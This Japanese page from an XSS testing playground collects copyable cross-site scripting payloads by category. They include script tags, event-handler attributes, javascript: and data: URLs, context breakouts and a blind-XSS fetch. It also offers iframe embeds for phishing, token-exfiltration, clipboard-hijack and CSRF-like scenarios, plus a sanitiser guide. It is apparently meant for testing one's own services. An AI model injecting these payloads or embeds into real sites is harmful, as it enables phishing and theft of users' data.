XSS Playground
コピーして試せる XSS シナリオ集

About — Sangmook Kim
Frontend Engineer
フロントエンド開発者の Sangmook Kim です。このサイトは特定サービス専用の PoC ではなく、自分が権限を持つ Web サービスの XSS 対策を確認するための公開プレイグラウンドです。
各シナリオは、script タグ、イベントハンドラ属性、javascript: URL、DOM sink、埋め込み iframe、親ページとのメッセージ通信など、実サービスで見落としやすい攻撃面を小さなテストページとして再現します。
シナリオカードまたは詳細ページから HTML payload または iframe コードをコピーし、自分のプロジェクトに貼り付けてレンダリング結果とブラウザの挙動を確認してください。
プロジェクトの意図
XSS 対策は HTML フィルタの名前や 1 行のフィルタだけでは完了しません。iframe、メッセージ、権限プロンプト、自動リクエスト、偽 UI が実際のブラウザでどこまで動くかを確認する必要があります。
このサイトは攻撃自動化ツールではなく、開発者やセキュリティ担当者が権限のあるサービスのレンダリングポリシーを再現可能な形で確認するためのチェックリストです。
すべてのスニペットは dev / staging 環境にコピーして使う前提です。HTML payload が実行されたり iframe シナリオが動作すれば調査すべきサインであり、ブロックされればどのポリシーが止めたか記録できます。
使い方
- 目的のシナリオページを開く。
- ホームカードまたは詳細ページから HTML payload または iframe コードをコピー。
- 自サービス(エディタ、ノート、wiki など)に貼り付けて保存。
- レンダリング、sandbox、CSP、postMessage 検証、実際のブラウザ挙動を確認。
Sanitize 実務ガイド
ユーザー機能として HTML を許可する必要がある場合、単純な文字列置換や blacklist ではなく、コンテキスト別 encoding と検証済み sanitizer policy を組み合わせて設計します。
DOMPurify は HTML、SVG、MathML から実行可能な危険要素を除去する代表的な sanitizer です。dangerouslySetInnerHTML、Markdown/MDX 出力、rich text rendering のように HTML を意図的に描画する箇所で使います。
サーバー側 sanitize には DOM 実装が必要です。Node.js では最新の jsdom と DOMPurify を組み合わせ、client/server の allowlist がずれないようテストします。
許可する tag、attribute、URL protocol/host、iframe sandbox、CSP を機能単位で記録します。sanitize 後に別 renderer が HTML を変形すると防御効果が失われる可能性があります。
XSS 脅威マップ
Hacker101 CTF の XSS Playground 分類と PortSwigger Web Security Academy のガイドを参考に、このプロジェクトで確認すべきリスクを整理しています。
クエリ、検索語、エラーメッセージなど現在のリクエスト由来の値が、安全でない形で HTML に反映されるケースです。
コメント、プロフィール、文書本文など保存された入力が、後から他ユーザーに active content として表示されるケースです。
クライアントコードが location、hash、postMessage などの信頼できない値を unsafe sink に渡すケースです。
イベントハンドラ、SVG/MathML、javascript: URL、エンコーディング、テンプレート構文で弱いフィルタや不完全な CSP を迂回できないか確認します。
スクリプトが実行されると、ユーザー権限でリクエストを送信し、画面を操作し、ユーザーがアクセスできるデータを悪用できます。
iframe、オーバーレイ、通知、クリップボード、postMessage により、秘密情報の入力誘導や観測可能な情報の外部送信が起こります。
シナリオ
カテゴリ別の攻撃シナリオ。カードから HTML payload または embed コードをコピーし、詳細ページでさらにテストできます。
HTML Injection
ユーザー入力が HTML 文書としてそのまま解析されるとき、script タグが実行されるか確認します。
<script>alert("xss-playground")</script>img onerror や details ontoggle などのイベント属性が残って実行されるか確認します。
<img src=x onerror="alert('xss-playground')">SVG, MathML など HTML 以外の namespace にあるイベント属性やネスト HTML が弱いフィルタを迂回しないか確認します。
<svg onload="alert('xss-playground')" xmlns="http://www.w3.org/2000/svg"></svg>DOM XSS
location, hash, postMessage などの信頼できない値が innerHTML のような unsafe sink に届くか確認します。
<img src=x onerror="alert('dom-xss')">URL / Protocol
href や action などの URL 属性に javascript: が残り、クリックや submit で実行されるか確認します。
<a href="javascript:alert('xss-playground')">click me</a>HTML entity、制御文字、大文字小文字の変形で javascript: URL 検証を迂回できるか確認します。
<a href="javascript:alert('xss-playground')">encoded protocol</a>iframe、object、embed、link preview などの URL 属性で data:text/html が許可され、別 HTML 文書が実行されるか確認します。
<iframe src="data:text/html,<script>parent.postMessage({type:'DATA_URL_XSS'},'*')</script>"></iframe>Context Breakout
script ブロック内の文字列、JSON 初期状態、inline event code からユーザー入力が脱出できるか確認します。
";alert("xss-playground");//style タグ、style 属性、CSS URL トークンにユーザー入力が入るとき、parser 脱出や危険な URL が残るか確認します。
</style><img src=x onerror="alert('css-context-xss')"><style>File Upload
アップロードされた SVG、XML、HTML ファイルをプレビュー表示するとき active content が実行されるか確認します。
<svg xmlns="http://www.w3.org/2000/svg" onload="alert('svg-file-xss')"></svg>User Content
Markdown/MDX/editor renderer が link URL、raw HTML、image URL を安全に正規化・sanitize するか確認します。
[click me](javascript:alert('markdown-xss'))nickname、status text、icon URL のような小さな profile field が attribute/HTML context で実行可能コードになるか確認します。
" autofocus onfocus="alert('nickname-xss')" x="Navigation
iframe 内から親ウィンドウ全体を別 URL へ遷移させ、sandbox allow-top-navigation の違いを確認します。
<iframe src="https://xss-playground.com/embed/top-redirect?lang=ja" title="XSS Playground - top.location 強制リダイレクト" width="600" height="420" loading="lazy" referrerpolicy="strict-origin-when-cross-origin"></iframe>
Communication
parent.postMessage で親ページへ偽メッセージを送り、origin 検証漏れを確認します。
<iframe src="https://xss-playground.com/embed/post-message?lang=ja" title="XSS Playground - postMessage スプーフィング" width="600" height="420" loading="lazy" referrerpolicy="strict-origin-when-cross-origin"></iframe>
ユーザーに気づかれず外部 domain へ form を submit し、sandbox allow-forms と CSRF 境界を確認します。
<iframe src="https://xss-playground.com/embed/form-auto-submit?lang=ja" title="XSS Playground - 隠し form 自動 submit (CSRF-like)" width="600" height="420" loading="lazy" referrerpolicy="strict-origin-when-cross-origin"></iframe>
iframe 自身の origin 内で収集した情報や referrer を sendBeacon / fetch で外部送信できるか確認します。
<iframe src="https://xss-playground.com/embed/beacon-exfil?lang=ja" title="XSS Playground - navigator.sendBeacon / fetch による exfiltration" width="600" height="420" loading="lazy" referrerpolicy="strict-origin-when-cross-origin"></iframe>
img.src に外部の状態変更 GET endpoint を入れ、cookie 付きで request が送られるか確認します。
<iframe src="https://xss-playground.com/embed/csrf-image?lang=ja" title="XSS Playground - img タグ GET リクエスト CSRF" width="600" height="420" loading="lazy" referrerpolicy="strict-origin-when-cross-origin"></iframe>
Exfiltration
iframe 内から親ページの JWT、storage、進行中のネットワーク要求に届くか境界を確認します。
<iframe src="https://xss-playground.com/embed/token-exfil?lang=ja" title="XSS Playground - 親トークン / ネットワーク窃取の試行" width="600" height="420" loading="lazy" referrerpolicy="strict-origin-when-cross-origin"></iframe>
Phishing
iframe 内に親サイト風のログインフォームを描き、入力値を iframe 自身の origin で収集します。
<iframe src="https://xss-playground.com/embed/phishing-form?lang=ja" title="XSS Playground - 偽ログインフォーム (フィッシング)" width="600" height="420" loading="lazy" referrerpolicy="strict-origin-when-cross-origin"></iframe>
iframe を画面全体に配置し、親サイトに似た UI を描いてユーザーを欺くシナリオです。
<iframe src="https://xss-playground.com/embed/fullscreen-overlay?lang=ja" title="XSS Playground - フルスクリーンオーバーレイ偽装" width="600" height="420" loading="lazy" referrerpolicy="strict-origin-when-cross-origin"></iframe>
Delayed / Chained
入力直後は実行されず、管理者 console、通知、log viewer、CRM など後続画面で実行される payload を追跡します。
<img src=x onerror="fetch('/redirected?from=blind-xss&surface=admin-log',{mode:'no-cors'})">タイマーや URL パラメータで top-redirect、postMessage、form submit などを後から自動実行します。
<iframe src="https://xss-playground.com/embed/delayed-attack?lang=ja" title="XSS Playground - 遅延 / 自動実行 payload" width="600" height="420" loading="lazy" referrerpolicy="strict-origin-when-cross-origin"></iframe>
偽フルスクリーン UI、認証情報の取得、top redirect をつなげて不審さを下げる流れを再現します。
<iframe src="https://xss-playground.com/embed/chained-attack?lang=ja" title="XSS Playground - 連鎖攻撃 (フィッシング + フルスクリーン + redirect)" width="600" height="420" loading="lazy" referrerpolicy="strict-origin-when-cross-origin"></iframe>
Annoyance
download 属性、Blob URL、data URL により、明示的なクリックなしでファイルダウンロードが始まるか確認します。
<iframe src="https://xss-playground.com/embed/auto-download?lang=ja" title="XSS Playground - 自動ダウンロードトリガー" width="600" height="420" loading="lazy" referrerpolicy="strict-origin-when-cross-origin"></iframe>
window.open で新しい window を開き、popup blocking、allow-popups、opener/tabnabbing 境界を確認します。
<iframe src="https://xss-playground.com/embed/popup-spam?lang=ja" title="XSS Playground - popup / window.open スパム" width="600" height="420" loading="lazy" referrerpolicy="strict-origin-when-cross-origin"></iframe>
音声付きメディアの自動再生や requestFullscreen によるフルスクリーン占有を試します。
<iframe src="https://xss-playground.com/embed/autoplay-media?lang=ja" title="XSS Playground - 自動再生メディア / 自動フルスクリーン" width="600" height="420" loading="lazy" referrerpolicy="strict-origin-when-cross-origin"></iframe>
Notification.requestPermission を呼び出し、権限 prompt と後続のフィッシング通知リスクを確認します。
<iframe src="https://xss-playground.com/embed/notification-permission?lang=ja" title="XSS Playground - 通知権限リクエスト / push hijack" width="600" height="420" loading="lazy" referrerpolicy="strict-origin-when-cross-origin"></iframe>
iframe 領域でユーザーがコピーしたとき、copy イベントを横取りして別の内容で上書きします。
<iframe src="https://xss-playground.com/embed/clipboard-hijack?lang=ja" title="XSS Playground - クリップボード hijack" width="600" height="420" loading="lazy" referrerpolicy="strict-origin-when-cross-origin"></iframe>
iframe 自身の history entry を積み上げ、親タブの戻る操作を妨害します。
<iframe src="https://xss-playground.com/embed/history-pollution?lang=ja" title="XSS Playground - history.pushState 汚染" width="600" height="420" loading="lazy" referrerpolicy="strict-origin-when-cross-origin"></iframe>
Probe
親 DOM、storage、cookie へのアクセスを試し、SOP が何を止め何を許すかを確認します。
<iframe src="https://xss-playground.com/embed/sop-probe?lang=ja" title="XSS Playground - Same-Origin Policy プローブ (失敗確認用)" width="600" height="420" loading="lazy" referrerpolicy="strict-origin-when-cross-origin"></iframe>
複数の postMessage payload を親へ送り、応答や副作用から listener の存在を観察します。
<iframe src="https://xss-playground.com/embed/parent-message-listener-probe?lang=ja" title="XSS Playground - 親ページ message listener フィンガープリント" width="600" height="420" loading="lazy" referrerpolicy="strict-origin-when-cross-origin"></iframe>
コントリビュート (Issues / PR)
本プロジェクトは source-available ライセンスで運用しています。ソースは公開していますが、フォークして別のデプロイを運用したり、再配布・商用利用することは許可していません。
アイデア、バグ報告、翻訳改善、新シナリオ提案は歓迎します。まず Issue を立てて方針を合意し、採用された変更は collaborator として直接ブランチを push する PR フローを推奨します。
ライセンスとコントリビューションポリシーの全文は LICENSE と CONTRIBUTING.md を参照してください。